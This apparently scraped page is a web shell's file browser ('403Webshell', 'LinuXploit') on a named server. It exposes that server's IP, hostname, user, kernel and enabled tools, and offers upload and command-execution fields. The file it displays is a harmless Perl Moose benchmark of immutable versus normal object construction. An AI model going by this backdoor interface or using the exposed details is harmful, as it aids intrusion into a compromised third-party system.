403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/share/doc/perl-Moose/benchmarks/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Moose/benchmarks/immutable.pl
#!/usr/bin/perl

use strict;
use warnings;

use Benchmark qw[cmpthese];

use Moose::Util::TypeConstraints;

{
    package Foo;
    use Moose;
    Foo->meta->make_immutable(debug => 0);
}

coerce 'Foo'
    => from 'ArrayRef'
    => via { Foo->new(@{$_}) };

{
    package Foo::Normal;
    use Moose;

    has 'default'         => (is => 'rw', default => 10);
    has 'default_sub'     => (is => 'rw', default => sub { [] });
    has 'lazy'            => (is => 'rw', default => 10, lazy => 1);
    has 'required'        => (is => 'rw', required => 1);
    has 'weak_ref'        => (is => 'rw', weak_ref => 1);
    has 'type_constraint' => (is => 'rw', isa => 'Foo');
    has 'coercion'        => (is => 'rw', isa => 'Foo', coerce => 1);

    package Bar::Normal;
    use Moose;

    extends 'Foo::Normal';

    has 'default_w_type_constraint' => (
        is      => 'rw',
        isa     => 'Int',
        default => 10,
    );
}

{
    package Foo::Immutable;
    use Moose;

    has 'default'         => (is => 'rw', default => 10);
    has 'default_sub'     => (is => 'rw', default => sub { [] });
    has 'lazy'            => (is => 'rw', default => 10, lazy => 1);
    has 'required'        => (is => 'rw', required => 1);
    has 'weak_ref'        => (is => 'rw', weak_ref => 1);
    has 'type_constraint' => (is => 'rw', isa => 'Foo');
    has 'coercion'        => (is => 'rw', isa => 'Foo', coerce => 1);

    #sub BUILD {
    #    # ...
    #}

    Foo::Immutable->meta->make_immutable(debug => 0);

    package Bar::Immutable;
    use Moose;

    extends 'Foo::Immutable';

    has 'default_w_type_constraint' => (
        is      => 'rw',
        isa     => 'Int',
        default => 10,
    );

    Bar::Immutable->meta->make_immutable(debug => 0);
}

#__END__

my $foo = Foo->new;

cmpthese(10_000,
    {
        'normal' => sub {
            Foo::Normal->new(
                required        => 'BAR',
                type_constraint => $foo,
                coercion        => [],
                weak_ref        => {},
            );
        },
        'immutable' => sub {
            Foo::Immutable->new(
                required        => 'BAR',
                type_constraint => $foo,
                coercion        => [],
                weak_ref        => {},
            );
        },
    }
);

Youez - 2016 - github.com/yon3zu
LinuXploit